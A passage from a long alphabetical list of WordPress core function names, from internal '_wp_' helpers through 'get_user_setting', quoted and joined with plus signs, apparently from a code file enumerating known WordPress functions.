'_wp_check_split_terms_in_menus', + '_wp_connectors_get_api_key_source', + '_wp_connectors_get_connector_script_module_data', + '_wp_connectors_init', + '_wp_connectors_is_ai_api_key_valid', + '_wp_connectors_mask_api_key', + '_wp_connectors_pass_default_keys_to_ai_client', + '_wp_connectors_register_default_ai_providers', + '_wp_connectors_resolve_ai_provider_logo_url', + '_wp_connectors_rest_settings_dispatch', + '_wp_copy_post_meta', + '_wp_credits_add_profile_link', + '_wp_credits_build_object_link', + '_wp_cron', + '_wp_customize_changeset_filter_insert_post_data', + '_wp_customize_include', + '_wp_customize_loader_settings', + '_wp_customize_publish_changeset', + '_wp_dashboard_control_callback', + '_wp_dashboard_recent_comments_row', + '_wp_delete_all_temp_backups', + '_wp_delete_customize_changeset_dependent_auto_drafts', + '_wp_delete_orphaned_draft_menu_items', + '_wp_delete_post_menu_item', + '_wp_delete_tax_menu_item', + '_wp_die_process_input', + '_wp_emoji_list', + '_wp_enqueue_auto_register_blocks', + '_wp_expand_nav_menu_post_data', + '_wp_filter_build_unique_id', + '_wp_filter_font_directory', + '_wp_filter_post_meta_footnotes', + '_wp_filter_taxonomy_base', + '_wp_footer_scripts', + '_wp_footnotes_force_filtered_html_on_import_filter', + '_wp_footnotes_kses_init', + '_wp_footnotes_kses_init_filters', + '_wp_footnotes_remove_filters', + '_wp_get_allowed_postdata', + '_wp_get_attachment_relative_path', + '_wp_get_current_user', + '_wp_get_iframed_editor_assets', + '_wp_get_image_size_from_meta', + '_wp_get_post_revision_version', + '_wp_get_presets_class_name', + '_wp_get_site_editor_redirection_url', + '_wp_get_user_contactmethods', + '_wp_handle_upload', + '_wp_has_noncharacters_fallback', + '_wp_http_get_object', + '_wp_image_editor_choose', + '_wp_image_meta_replace_original', + '_wp_is_valid_utf8_fallback', + '_wp_iso_convert', + '_wp_json_convert_string', + '_wp_json_prepare_data', + '_wp_json_sanity_check', + '_wp_keep_alive_customize_changeset_dependent_auto_drafts', + '_wp_kses_allow_pdf_objects', + '_wp_kses_decode_entities_chr', + '_wp_kses_decode_entities_chr_hexdec', + '_wp_kses_split_callback', + '_wp_link_page', + '_wp_make_subsizes', + '_wp_menu_item_classes_by_context', + '_wp_menu_output', + '_wp_menus_changed', + '_wp_multiple_block_styles', + '_wp_mysql_week', + '_wp_nav_menu_meta_box_object', + '_wp_normalize_relative_css_links', + '_wp_object_count_sort_cb', + '_wp_object_name_sort_cb', + '_wp_oembed_get_object', + '_wp_personal_data_cleanup_requests', + '_wp_personal_data_handle_actions', + '_wp_post_revision_data', + '_wp_post_revision_fields', + '_wp_post_thumbnail_class_filter', + '_wp_post_thumbnail_class_filter_add', + '_wp_post_thumbnail_class_filter_remove', + '_wp_post_thumbnail_context_filter', + '_wp_post_thumbnail_context_filter_add', + '_wp_post_thumbnail_context_filter_remove', + '_wp_post_thumbnail_html', + '_wp_posts_page_notice', + '_wp_preview_meta_filter', + '_wp_preview_post_thumbnail_filter', + '_wp_preview_terms_filter', + '_wp_privacy_account_request_confirmed', + '_wp_privacy_account_request_confirmed_message', + '_wp_privacy_action_request_types', + '_wp_privacy_completed_request', + '_wp_privacy_requests_screen_options', + '_wp_privacy_resend_request', + '_wp_privacy_send_erasure_fulfillment_notification', + '_wp_privacy_send_request_confirmation_notification', + '_wp_privacy_settings_filter_draft_page_titles', + '_wp_privacy_statuses', + '_wp_put_post_revision', + '_wp_register_default_connector_settings', + '_wp_register_default_font_collections', + '_wp_register_meta_args_allowed_list', + '_wp_register_meta_args_whitelist', + '_wp_relative_upload_path', + '_wp_remove_unregistered_widgets', + '_wp_render_title_tag', + '_wp_reset_invalid_menu_item_parent', + '_wp_sanitize_utf8_in_redirect', + '_wp_scan_utf8', + '_wp_scripts_add_args_data', + '_wp_scripts_maybe_doing_it_wrong', + '_wp_scrub_utf8_fallback', + '_wp_sidebars_changed', + '_wp_specialchars', + '_wp_theme_json_webfonts_handler', + '_wp_timezone_choice_usort_callback', + '_wp_tinycolor_bound_alpha', + '_wp_to_kebab_case', + '_wp_translate_php_url_constant_to_key', + '_wp_translate_postdata', + '_wp_upgrade_revisions_of_post', + '_wp_upload_dir', + '_wp_utf8_codepoint_count', + '_wp_utf8_codepoint_span', + '_wp_utf8_decode_fallback', + '_wp_utf8_encode_fallback', + '_wptexturize_pushpop_element', + '_x', + '_xml_wp_die_handler', + '_xmlrpc_wp_die_handler', + 'absint', + 'activate_plugin', + 'activate_plugins', + 'activate_sitewide_plugin', + 'add_action', + 'add_allowed_options', + 'add_blog_option', + 'add_clean_index', + 'add_comment_meta', + 'add_comments_page', + 'add_contextual_help', + 'add_cssclass', + 'add_custom_background', + 'add_custom_image_header', + 'add_dashboard_page', + 'add_editor_style', + 'add_existing_user_to_blog', + 'add_feed', + 'add_filter', + 'add_image_size', + 'add_link', + 'add_links_page', + 'add_magic_quotes', + 'add_management_page', + 'add_media_page', + 'add_menu_classes', + 'add_menu_page', + 'add_meta', + 'add_meta_box', + 'add_metadata', + 'add_network_option', + 'add_new_user_to_blog', + 'add_object_page', + 'add_option', + 'add_option_update_handler', + 'add_option_whitelist', + 'add_options_page', + 'add_pages_page', + 'add_permastruct', + 'add_ping', + 'add_plugins_page', + 'add_post_meta', + 'add_post_type_support', + 'add_posts_page', + 'add_query_arg', + 'add_rewrite_endpoint', + 'add_rewrite_rule', + 'add_rewrite_tag', + 'add_role', + 'add_screen_option', + 'add_settings_error', + 'add_settings_field', + 'add_settings_section', + 'add_shortcode', + 'add_site_meta', + 'add_site_option', + 'add_submenu_page', + 'add_term_meta', + 'add_theme_page', + 'add_theme_support', + 'add_thickbox', + 'add_user', + 'add_user_meta', + 'add_user_to_blog', + 'add_users_page', + 'add_utility_page', + 'addslashes_gpc', + 'addslashes_strings_only', + 'adjacent_image_link', + 'adjacent_post_link', + 'adjacent_posts_rel_link', + 'adjacent_posts_rel_link_wp_head', + 'admin_color_scheme_picker', + 'admin_created_user_email', + 'admin_url', + 'allow_subdirectory_install', + 'allow_subdomain_install', + 'allowed_http_request_hosts', + 'allowed_tags', + 'antispambot', + 'apache_mod_loaded', + 'apply_block_core_search_border_style', + 'apply_block_core_search_border_styles', + 'apply_block_hooks_to_content', + 'apply_block_hooks_to_content_from_post_object', + 'apply_filters', + 'apply_filters_deprecated', + 'apply_filters_ref_array', + 'apply_shortcodes', + 'array_all', + 'array_any', + 'array_find', + 'array_find_key', + 'array_first', + 'array_is_list', + 'array_last', + 'atom_enclosure', + 'atom_site_icon', + 'attachment_id3_data_meta_box', + 'attachment_submit_meta_box', + 'attachment_submitbox_metadata', + 'attachment_url_to_postid', + 'attribute_escape', + 'auth_redirect', + 'author_can', + 'automatic_feed_links', + 'avoid_blog_page_permalink_collision', + 'background_color', + 'background_image', + 'backslashit', + 'balanceTags', + 'before_last_bar', + 'block_core_accordion_item_render', + 'block_core_archives_build_dropdown_script', + 'block_core_breadcrumbs_create_item', + 'block_core_breadcrumbs_create_page_number_item', + 'block_core_breadcrumbs_get_archive_breadcrumbs', + 'block_core_breadcrumbs_get_hierarchical_post_type_breadcrumbs', + 'block_core_breadcrumbs_get_post_title', + 'block_core_breadcrumbs_get_term_ancestors_items', + 'block_core_breadcrumbs_get_terms_breadcrumbs', + 'block_core_breadcrumbs_is_paged', + 'block_core_calendar_has_published_posts', + 'block_core_calendar_update_has_published_post_on_delete', + 'block_core_calendar_update_has_published_post_on_transition_post_status', + 'block_core_calendar_update_has_published_posts', + 'block_core_comment_template_render_comments', + 'block_core_details_set_img_fetchpriority_low', + 'block_core_file_ensure_interactivity_dependency', + 'block_core_gallery_data_id_backcompatibility', + 'block_core_gallery_render', + 'block_core_gallery_render_context', + 'block_core_heading_render', + 'block_core_home_link_build_css_colors', + 'block_core_home_link_build_css_font_sizes', + 'block_core_home_link_build_li_wrapper_attributes', + 'block_core_image_ensure_interactivity_dependency', + 'block_core_image_get_lightbox_settings', + 'block_core_image_print_lightbox_overlay', + 'block_core_image_render_lightbox', + 'block_core_latest_posts_get_excerpt_length', + 'block_core_latest_posts_migrate_categories', + 'block_core_list_render', + 'block_core_navigation_add_directives_to_overlay_close', + 'block_core_navigation_add_directives_to_submenu', + 'block_core_navigation_block_contains_core_navigation', + 'block_core_navigation_block_tree_has_block_type', + 'block_core_navigation_build_css_colors', + 'block_core_navigation_build_css_font_sizes', + 'block_core_navigation_filter_out_empty_blocks', + 'block_core_navigation_from_block_get_post_ids', + 'block_core_navigation_get_classic_menu_fallback', + 'block_core_navigation_get_classic_menu_fallback_blocks', + 'block_core_navigation_get_fallback_blocks', + 'block_core_navigation_get_inner_blocks_from_unstable_location', + 'block_core_navigation_get_menu_items_at_location', + 'block_core_navigation_get_most_recently_published_navigation', + 'block_core_navigation_get_post_ids', + 'block_core_navigation_get_submenu_visibility', + 'block_core_navigation_link_build_css_colors', + 'block_core_navigation_link_build_css_font_sizes', + 'block_core_navigation_link_build_variations', + 'block_core_navigation_link_filter_variations', + 'block_core_navigation_link_maybe_urldecode', + 'block_core_navigation_maybe_use_classic_menu_fallback', + 'block_core_navigation_overlay_html_has_close_block', + 'block_core_navigation_parse_blocks_from_menu_items', + 'block_core_navigation_set_overlay_image_fetch_priority', + 'block_core_navigation_sort_menu_items_by_parent_id', + 'block_core_navigation_submenu_build_css_colors', + 'block_core_navigation_submenu_build_css_font_sizes', + 'block_core_navigation_submenu_get_submenu_visibility', + 'block_core_navigation_submenu_render_submenu_icon', + 'block_core_navigation_typographic_presets_backcompatibility', + 'block_core_page_list_build_css_colors', + 'block_core_page_list_build_css_font_sizes', + 'block_core_page_list_get_submenu_visibility', + 'block_core_page_list_nest_pages', + 'block_core_page_list_render_nested_page_list', + 'block_core_paragraph_add_class', + 'block_core_post_excerpt_excerpt_length', + 'block_core_post_template_uses_featured_image', + 'block_core_post_terms_build_variations', + 'block_core_post_time_to_read_word_count', + 'block_core_query_disable_enhanced_pagination', + 'block_core_query_ensure_interactivity_dependency', + 'block_core_shared_navigation_item_should_render', + 'block_core_shared_navigation_render_submenu_icon', + 'block_core_social_link_get_color_classes', + 'block_core_social_link_get_color_styles', + 'block_core_social_link_get_icon', + 'block_core_social_link_get_name', + 'block_core_social_link_services', + 'block_editor_rest_api_preload', + 'block_footer_area', + 'block_has_support', + 'block_header_area', + 'block_template_part', + 'block_version', + 'bloginfo', + 'bloginfo_rss', + 'body_class', + 'bool_from_yn', + 'build_comment_query_vars_from_block', + 'build_dropdown_script_block_core_categories', + 'build_query', + 'build_query_vars_from_query_block', + 'build_template_part_block_area_variations', + 'build_template_part_block_instance_variations', + 'build_template_part_block_variations', + 'build_variation_for_navigation_link', + 'bulk_edit_posts', + 'cache_javascript_headers', + 'cache_users', + 'calendar_week_mod', + 'can_edit_network', + 'cancel_comment_reply_link', + 'capital_P_dangit', + 'cat_is_ancestor_of', + 'category_description', + 'category_exists', + 'check_admin_referer', + 'check_ajax_referer', + 'check_and_publish_future_post', + 'check_column', + 'check_comment', + 'check_comment_flood_db', + 'check_import_new_users', + 'check_password_reset_key', + 'check_theme_switched', + 'check_upload_mimes', + 'check_upload_size', + 'checked', + 'choose_primary_blog', + 'classnames_for_block_core_search', + 'clean_attachment_cache', + 'clean_blog_cache', + 'clean_bookmark_cache', + 'clean_category_cache', + 'clean_comment_cache', + 'clean_dirsize_cache', + 'clean_network_cache', + 'clean_object_term_cache', + 'clean_page_cache', + 'clean_post_cache', + 'clean_pre', + 'clean_site_details_cache', + 'clean_taxonomy_cache', + 'clean_term_cache', + 'clean_url', + 'clean_user_cache', + 'clear_global_post_cache', + 'codepress_footer_js', + 'codepress_get_lang', + 'comment_ID', + 'comment_author', + 'comment_author_IP', + 'comment_author_email', + 'comment_author_email_link', + 'comment_author_link', + 'comment_author_rss', + 'comment_author_url', + 'comment_author_url_link', + 'comment_class', + 'comment_date', + 'comment_excerpt', + 'comment_exists', + 'comment_footer_die', + 'comment_form', + 'comment_form_title', + 'comment_guid', + 'comment_id_fields', + 'comment_link', + 'comment_reply_link', + 'comment_text', + 'comment_text_rss', + 'comment_time', + 'comment_type', + 'comments_block_form_defaults', + 'comments_link', + 'comments_link_feed', + 'comments_number', + 'comments_open', + 'comments_popup_link', + 'comments_popup_script', + 'comments_rss', + 'comments_rss_link', + 'comments_template', + 'compression_test', + 'confirm_another_blog_signup', + 'confirm_blog_signup', + 'confirm_delete_users', + 'confirm_user_signup', + 'content_url', + 'convert_chars', + 'convert_invalid_entities', + 'convert_smilies', + 'convert_to_screen', + 'copy_dir', + 'core_auto_updates_settings', + 'core_update_footer', + 'core_upgrade_preamble', + 'count_many_users_posts', + 'count_user_posts', + 'count_users', + 'create_empty_blog', + 'create_initial_post_types', + 'create_initial_rest_routes', + 'create_initial_taxonomies', + 'create_initial_theme_features', + 'create_user', + 'current_action', + 'current_datetime', + 'current_filter', + 'current_theme_info', + 'current_theme_supports', + 'current_time', + 'current_user_can', + 'current_user_can_for_blog', + 'current_user_can_for_site', + 'customize_themes_print_templates', + 'dashboard_browser_nag_class', + 'dashboard_php_nag_class', + 'date_i18n', + 'dbDelta', + 'deactivate_plugins', + 'deactivate_sitewide_plugin', + 'deactivated_plugins_notice', + 'dead_db', + 'debug_fclose', + 'debug_fopen', + 'debug_fwrite', + 'default_password_nag', + 'default_password_nag_edit_user', + 'default_password_nag_handler', + 'default_topic_count_scale', + 'default_topic_count_text', + 'delete_all_user_settings', + 'delete_blog_option', + 'delete_comment_meta', + 'delete_expired_transients', + 'delete_get_calendar_cache', + 'delete_meta', + 'delete_metadata', + 'delete_metadata_by_mid', + 'delete_network_option', + 'delete_option', + 'delete_plugins', + 'delete_post_meta', + 'delete_post_meta_by_key', + 'delete_post_thumbnail', + 'delete_site_meta', + 'delete_site_meta_by_key', + 'delete_site_option', + 'delete_site_transient', + 'delete_term_meta', + 'delete_theme', + 'delete_transient', + 'delete_user_meta', + 'delete_user_option', + 'delete_user_setting', + 'delete_usermeta', + 'delete_users_add_js', + 'deslash', + 'determine_locale', + 'did_action', + 'did_filter', + 'disabled', + 'discard_sidebar_being_rendered', + 'discover_pingback_server_uri', + 'dismiss_core_update', + 'dismissed_updates', + 'display_header', + 'display_header_text', + 'display_plugins_table', + 'display_setup_form', + 'display_space_usage', + 'display_theme', + 'display_themes', + 'do_accordion_sections', + 'do_action', + 'do_action_deprecated', + 'do_action_ref_array', + 'do_activate_header', + 'do_all_enclosures', + 'do_all_pingbacks', + 'do_all_pings', + 'do_all_trackbacks', + 'do_block_editor_incompatible_meta_box', + 'do_blocks', + 'do_core_upgrade', + 'do_dismiss_core_update', + 'do_enclose', + 'do_favicon', + 'do_feed', + 'do_feed_atom', + 'do_feed_rdf', + 'do_feed_rss', + 'do_feed_rss2', + 'do_meta_boxes', + 'do_robots', + 'do_settings_fields', + 'do_settings_sections', + 'do_shortcode', + 'do_shortcode_tag', + 'do_shortcodes_in_html_tags', + 'do_signup_header', + 'do_trackbacks', + 'do_undismiss_core_update', + 'documentation_link', + 'doing_action', + 'doing_filter', + 'domain_exists', + 'download_url', + 'drop_index', + 'dropdown_categories', + 'dropdown_cats', + 'dropdown_link_categories', + 'dynamic_sidebar', + 'edit_bookmark_link', + 'edit_comment', + 'edit_comment_link', + 'edit_form_image_editor', + 'edit_link', + 'edit_post', + 'edit_post_link', + 'edit_tag_link', + 'edit_term_link', + 'edit_user', + 'email_exists', + 'endElement', + 'enqueue_block_styles_assets', + 'enqueue_comment_hotkeys_js', + 'enqueue_editor_block_styles_assets', + 'enqueue_embed_scripts', + 'enqueue_legacy_post_comments_block_styles', + 'ent2ncr', + 'esc_attr', + 'esc_attr__', + 'esc_attr_e', + 'esc_attr_x', + 'esc_html', + 'esc_html__', + 'esc_html_e', + 'esc_html_x', + 'esc_js', + 'esc_sql', + 'esc_textarea', + 'esc_url', + 'esc_url_raw', + 'esc_xml', + 'excerpt_remove_blocks', + 'excerpt_remove_footnotes', + 'export_add_js', + 'export_date_options', + 'export_wp', + 'extract_from_markers', + 'extract_serialized_parent_block', + 'favorite_actions', + 'feed_content_type', + 'feed_links', + 'feed_links_extra', + 'fetch_feed', + 'fetch_rss', + 'file_is_displayable_image', + 'file_is_valid_image', + 'filter_SSL', + 'filter_block_content', + 'filter_block_core_template_part_attributes', + 'filter_block_kses', + 'filter_block_kses_value', + 'filter_default_metadata', + 'filter_default_option', + 'find_core_auto_update', + 'find_core_update', + 'find_posts_div', + 'fix_import_form_size', + 'fix_phpmailer_messageid', + 'floated_admin_avatar', + 'flush_rewrite_rules', + 'force_balance_tags', + 'force_ssl_admin', + 'force_ssl_content', + 'force_ssl_login', + 'form_option', + 'format_code_lang', + 'format_for_editor', + 'format_to_edit', + 'format_to_post', + 'funky_javascript_callback', + 'funky_javascript_fix', + 'gallery_shortcode', + 'gd_edit_image_support', + 'generate_block_asset_handle', + 'generate_postdata', + 'generate_random_password', + 'generic_ping', + 'get_404_template', + 'get_active_blog_for_user', + 'get_adjacent_image_link', + 'get_adjacent_post', + 'get_adjacent_post_link', + 'get_adjacent_post_rel_link', + 'get_admin_page_parent', + 'get_admin_page_title', + 'get_admin_url', + 'get_admin_users_for_domain', + 'get_all_category_ids', + 'get_all_page_ids', + 'get_all_post_type_supports', + 'get_all_registered_block_bindings_sources', + 'get_all_user_settings', + 'get_alloptions', + 'get_alloptions_110', + 'get_allowed_block_template_part_areas', + 'get_allowed_block_types', + 'get_allowed_http_origins', + 'get_allowed_mime_types', + 'get_allowed_themes', + 'get_ancestors', + 'get_approved_comments', + 'get_archive_template', + 'get_archives', + 'get_archives_link', + 'get_attached_file', + 'get_attached_media', + 'get_attachment_fields_to_edit', + 'get_attachment_icon', + 'get_attachment_icon_src', + 'get_attachment_innerHTML', + 'get_attachment_link', + 'get_attachment_taxonomies', + 'get_attachment_template', + 'get_author_feed_link', + 'get_author_link', + 'get_author_name', + 'get_author_posts_url', + 'get_author_rss_link', + 'get_author_template', + 'get_author_user_ids', + 'get_autotoggle', + 'get_available_languages', + 'get_available_post_mime_types', + 'get_available_post_statuses', + 'get_avatar', + 'get_avatar_data', + 'get_avatar_url', + 'get_background_color', + 'get_background_image', + 'get_block_asset_url', + 'get_block_bindings_source', + 'get_block_bindings_supported_attributes', + 'get_block_categories', + 'get_block_core_avatar_border_attributes', + 'get_block_core_post_featured_image_border_attributes', + 'get_block_core_post_featured_image_overlay_element_markup', + 'get_block_editor_server_block_settings', + 'get_block_editor_settings', + 'get_block_editor_theme_styles', + 'get_block_file_template', + 'get_block_metadata_i18n_schema', + 'get_block_template', + 'get_block_templates', + 'get_block_theme_folders', + 'get_block_wrapper_attributes', + 'get_blog_count', + 'get_blog_details', + 'get_blog_id_from_url', + 'get_blog_list', + 'get_blog_option', + 'get_blog_permalink', + 'get_blog_post', + 'get_blog_status', + 'get_blogaddress_by_domain', + 'get_blogaddress_by_id', + 'get_blogaddress_by_name', + 'get_bloginfo', + 'get_bloginfo_rss', + 'get_blogs_of_user', + 'get_body_class', + 'get_bookmark', + 'get_bookmark_field', + 'get_bookmarks', + 'get_border_color_classes_for_block_core_search', + 'get_boundary_post', + 'get_boundary_post_rel_link', + 'get_broken_themes', + 'get_calendar', + 'get_cancel_comment_reply_link', + 'get_cat_ID', + 'get_cat_name', + 'get_categories', + 'get_category', + 'get_category_by_path', + 'get_category_by_slug', + 'get_category_children', + 'get_category_feed_link', + 'get_category_link', + 'get_category_parents', + 'get_category_rss_link', + 'get_category_template', + 'get_category_to_edit', + 'get_catname', + 'get_children', + 'get_classic_theme_supports_block_editor_settings', + 'get_clean_basedomain', + 'get_cli_args', + 'get_color_classes_for_block_core_search', + 'get_column_headers', + 'get_comment', + 'get_comment_ID', + 'get_comment_author', + 'get_comment_author_IP', + 'get_comment_author_email', + 'get_comment_author_email_link', + 'get_comment_author_link', + 'get_comment_author_rss', + 'get_comment_author_url', + 'get_comment_author_url_link', + 'get_comment_class', + 'get_comment_count', + 'get_comment_date', + 'get_comment_delimited_block_content', + 'get_comment_excerpt', + 'get_comment_guid', + 'get_comment_id_fields', + 'get_comment_link', + 'get_comment_meta', + 'get_comment_pages_count', + 'get_comment_reply_link', + 'get_comment_statuses', + 'get_comment_text', + 'get_comment_time', + 'get_comment_to_edit', + 'get_comment_type', + 'get_commentdata', + 'get_comments', + 'get_comments_link', + 'get_comments_number', + 'get_comments_number_text', + 'get_comments_pagenum_link', + 'get_comments_pagination_arrow', + 'get_comments_popup_template', + 'get_compat_media_markup', + 'get_core_checksums', + 'get_core_updates', + 'get_current_blog_id', + 'get_current_network_id', + 'get_current_screen', + 'get_current_site', + 'get_current_site_name', + 'get_current_theme', + 'get_current_user_id', + 'get_currentuserinfo', + 'get_custom_header', + 'get_custom_header_markup', + 'get_custom_logo', + 'get_dashboard_blog', + 'get_dashboard_url', + 'get_date_from_gmt', + 'get_date_template', + 'get_day_link', + 'get_default_block_categories', + 'get_default_block_editor_settings', + 'get_default_block_template_types', + 'get_default_comment_status', + 'get_default_feed', + 'get_default_link_to_edit', + 'get_default_page_to_edit', + 'get_default_post_to_edit', + 'get_delete_post_link', + 'get_dirsize', + 'get_dropins', + 'get_dynamic_block_names', + 'get_edit_bookmark_link', + 'get_edit_comment_link', + 'get_edit_post_link', + 'get_edit_profile_url', + 'get_edit_tag_link', + 'get_edit_term_link', + 'get_edit_user_link', + 'get_editable_authors', + 'get_editable_roles', + 'get_editable_user_ids', + 'get_editor_stylesheets', + 'get_embed_template', + 'get_enclosed', + 'get_extended', + 'get_feed_build_date', + 'get_feed_link', + 'get_file', + 'get_file_data', + 'get_file_description', + 'get_filesystem_method', + 'get_footer', + 'get_front_page_template', + 'get_gmt_from_date', + 'get_header', + 'get_header_image', + 'get_header_image_tag', + 'get_header_textcolor', + 'get_header_video_settings', + 'get_header_video_url', + 'get_hidden_columns', + 'get_hidden_meta_boxes', + 'get_home_path', + 'get_home_template', + 'get_home_url', + 'get_hooked_blocks', + 'get_html_split_regex', + 'get_http_origin', + 'get_id_from_blogname', + 'get_image_send_to_editor', + 'get_image_tag', + 'get_importers', + 'get_index_rel_link', + 'get_index_template', + 'get_inline_data', + 'get_intermediate_image_sizes', + 'get_language_attributes', + 'get_last_updated', + 'get_lastcommentmodified', + 'get_lastpostdate', + 'get_lastpostmodified', + 'get_legacy_widget_block_editor_settings', + 'get_link', + 'get_link_to_edit', + 'get_linkcatname', + 'get_linkobjects', + 'get_linkobjectsbyname', + 'get_linkrating', + 'get_links', + 'get_links_list', + 'get_links_withrating', + 'get_linksbyname', + 'get_linksbyname_withrating', + 'get_locale', + 'get_locale_stylesheet_uri', + 'get_main_network_id', + 'get_main_site_id', + 'get_media_embedded_in_content', + 'get_media_item', + 'get_media_items', + 'get_media_states', + 'get_meta_keys', + 'get_meta_sql', + 'get_metadata', + 'get_metadata_by_mid', + 'get_metadata_default', + 'get_metadata_raw', + 'get_month_link', + 'get_most_active_blogs', + 'get_most_recent_post_of_user', + 'get_mu_plugins', + 'get_nav_menu_locations', + 'get_network', + 'get_network_by_path', + 'get_network_option', + 'get_networks', + 'get_next_comments_link', + 'get_next_image_link', + 'get_next_post', + 'get_next_post_link', + 'get_next_posts_link', + 'get_next_posts_page_link', + 'get_nonauthor_user_ids', + 'get_num_queries', + 'get_object_subtype', + 'get_object_taxonomies', + 'get_object_term_cache', + 'get_objects_in_term', + 'get_oembed_endpoint_url', + 'get_oembed_response_data', + 'get_oembed_response_data_for_url', + 'get_oembed_response_data_rich', + 'get_option', + 'get_options', + 'get_others_drafts', + 'get_others_pending', + 'get_others_unpublished_posts', + 'get_page', + 'get_page_by_path', + 'get_page_by_title', + 'get_page_children', + 'get_page_hierarchy', + 'get_page_link', + 'get_page_of_comment', + 'get_page_statuses', + 'get_page_template', + 'get_page_template_slug', + 'get_page_templates', + 'get_page_uri', + 'get_paged_template', + 'get_pagenum_link', + 'get_pages', + 'get_parent_post_rel_link', + 'get_parent_theme_file_path', + 'get_parent_theme_file_uri', + 'get_password_reset_key', + 'get_pending_comments_num', + 'get_permalink', + 'get_plugin_data', + 'get_plugin_files', + 'get_plugin_page_hook', + 'get_plugin_page_hookname', + 'get_plugin_updates', + 'get_plugins', + 'get_post', + 'get_post_ancestors', + 'get_post_class', + 'get_post_comments_feed_link', + 'get_post_custom', + 'get_post_custom_keys', + 'get_post_custom_values', + 'get_post_datetime', + 'get_post_embed_html', + 'get_post_embed_url', + 'get_post_field', + 'get_post_format', + 'get_post_format_link', + 'get_post_format_slugs', + 'get_post_format_string', + 'get_post_format_strings', + 'get_post_galleries', + 'get_post_galleries_images', + 'get_post_gallery', + 'get_post_gallery_images', + 'get_post_meta', + 'get_post_meta_by_id', + 'get_post_mime_type', + 'get_post_mime_types', + 'get_post_modified_time', + 'get_post_parent', + 'get_post_permalink', + 'get_post_reply_link', + 'get_post_states', + 'get_post_stati', + 'get_post_status', + 'get_post_status_object', + 'get_post_statuses', + 'get_post_taxonomies', + 'get_post_thumbnail_id', + 'get_post_time', + 'get_post_timestamp', + 'get_post_to_edit', + 'get_post_type', + 'get_post_type_archive_feed_link', + 'get_post_type_archive_link', + 'get_post_type_archive_template', + 'get_post_type_capabilities', + 'get_post_type_labels', + 'get_post_type_object', + 'get_post_types', + 'get_post_types_by_support', + 'get_postdata', + 'get_posts', + 'get_posts_by_author_sql', + 'get_posts_nav_link', + 'get_preferred_from_update_core', + 'get_preview_post_link', + 'get_previous_comments_link', + 'get_previous_image_link', + 'get_previous_post', + 'get_previous_post_link', + 'get_previous_posts_link', + 'get_previous_posts_page_link', + 'get_privacy_policy_template', + 'get_privacy_policy_url', + 'get_private_posts_cap_sql', + 'get_profile', + 'get_pung', + 'get_queried_object', + 'get_queried_object_id', + 'get_query_pagination_arrow', + 'get_query_template', + 'get_query_var', + 'get_random_header_image', + 'get_raw_theme_root', + 'get_real_file_to_edit', + 'get_registered_meta_keys', + 'get_registered_metadata', + 'get_registered_nav_menus', + 'get_registered_settings', + 'get_registered_theme_feature', + 'get_registered_theme_features', + 'get_rest_url', + 'get_role', + 'get_rss', + 'get_sample_permalink', + 'get_sample_permalink_html', + 'get_screen_icon', + 'get_search_comments_feed_link', + 'get_search_feed_link', + 'get_search_form', + 'get_search_link', + 'get_search_query', + 'get_search_template', + 'get_self_link', + 'get_settings', + 'get_settings_errors', + 'get_shortcode_atts_regex', + 'get_shortcode_regex', + 'get_shortcode_tags_in_content', + 'get_shortcut_link', + 'get_sidebar', + 'get_single_template', + 'get_singular_template', + 'get_site', + 'get_site_allowed_themes', + 'get_site_by_path', + 'get_site_icon_url', + 'get_site_meta', + 'get_site_option', + 'get_site_screen_help_sidebar_content', + 'get_site_screen_help_tab_args', + 'get_site_transient', + 'get_site_url', + 'get_sitemap_url', + 'get_sites', + 'get_sitestats', + 'get_space_allowed', + 'get_space_used', + 'get_status_header_desc', + 'get_stylesheet', + 'get_stylesheet_directory', + 'get_stylesheet_directory_uri', + 'get_stylesheet_uri', + 'get_subdirectory_reserved_names', + 'get_submit_button', + 'get_super_admins', + 'get_tag', + 'get_tag_feed_link', + 'get_tag_link', + 'get_tag_regex', + 'get_tag_template', + 'get_tags', + 'get_tags_to_edit', + 'get_tax_sql', + 'get_taxonomies', + 'get_taxonomies_for_attachments', + 'get_taxonomy', + 'get_taxonomy_labels', + 'get_taxonomy_template', + 'get_temp_dir', + 'get_template', + 'get_template_directory', + 'get_template_directory_uri', + 'get_template_hierarchy', + 'get_template_part', + 'get_term', + 'get_term_by', + 'get_term_children', + 'get_term_feed_link', + 'get_term_field', + 'get_term_link', + 'get_term_meta', + 'get_term_parents_list', + 'get_term_to_edit', + 'get_terms', + 'get_terms_to_edit', + 'get_the_ID', + 'get_the_archive_description', + 'get_the_archive_title', + 'get_the_attachment_link', + 'get_the_author', + 'get_the_author_ID', + 'get_the_author_aim', + 'get_the_author_description', + 'get_the_author_email', + 'get_the_author_firstname', + 'get_the_author_icq', + 'get_the_author_lastname', + 'get_the_author_link', + 'get_the_author_login', + 'get_the_author_meta', + 'get_the_author_msn', + 'get_the_author_nickname', + 'get_the_author_posts', + 'get_the_author_posts_link', + 'get_the_author_url', + 'get_the_author_yim', + 'get_the_block_template_html', + 'get_the_category', + 'get_the_category_by_ID', + 'get_the_category_list', + 'get_the_category_rss', + 'get_the_comments_navigation', + 'get_the_comments_pagination', + 'get_the_content', + 'get_the_content_feed', + 'get_the_date', + 'get_the_excerpt', + 'get_the_generator', + 'get_the_guid', + 'get_the_modified_author', + 'get_the_modified_date', + 'get_the_modified_time', + 'get_the_password_form', + 'get_the_permalink', + 'get_the_post_navigation', + 'get_the_post_thumbnail', + 'get_the_post_thumbnail_caption', + 'get_the_post_thumbnail_url', + 'get_the_post_type_description', + 'get_the_posts_navigation', + 'get_the_posts_pagination', + 'get_the_privacy_policy_link', + 'get_the_tag_list', + 'get_the_tags', + 'get_the_taxonomies', + 'get_the_term_list', + 'get_the_terms', + 'get_the_time', + 'get_the_title', + 'get_the_title_rss', + 'get_theme', + 'get_theme_data', + 'get_theme_feature_list', + 'get_theme_file_path', + 'get_theme_file_uri', + 'get_theme_mod', + 'get_theme_mods', + 'get_theme_root', + 'get_theme_root_uri', + 'get_theme_roots', + 'get_theme_starter_content', + 'get_theme_support', + 'get_theme_update_available', + 'get_theme_updates', + 'get_themes', + 'get_to_ping', + 'get_trackback_url', + 'get_transient', + 'get_translations_for_domain', + 'get_typography_classes_for_block_core_search', + 'get_typography_styles_for_block_core_search', + 'get_udims', + 'get_upload_iframe_src', + 'get_upload_space_available', + 'get_uploaded_header_images', + 'get_url_in_content', + 'get_user', + 'get_user_by', + 'get_user_by_email', + 'get_user_count', + 'get_user_details', + 'get_user_id_from_string', + 'get_user_locale', + 'get_user_meta', + 'get_user_metavalues', + 'get_user_option', + 'get_user_setting', + 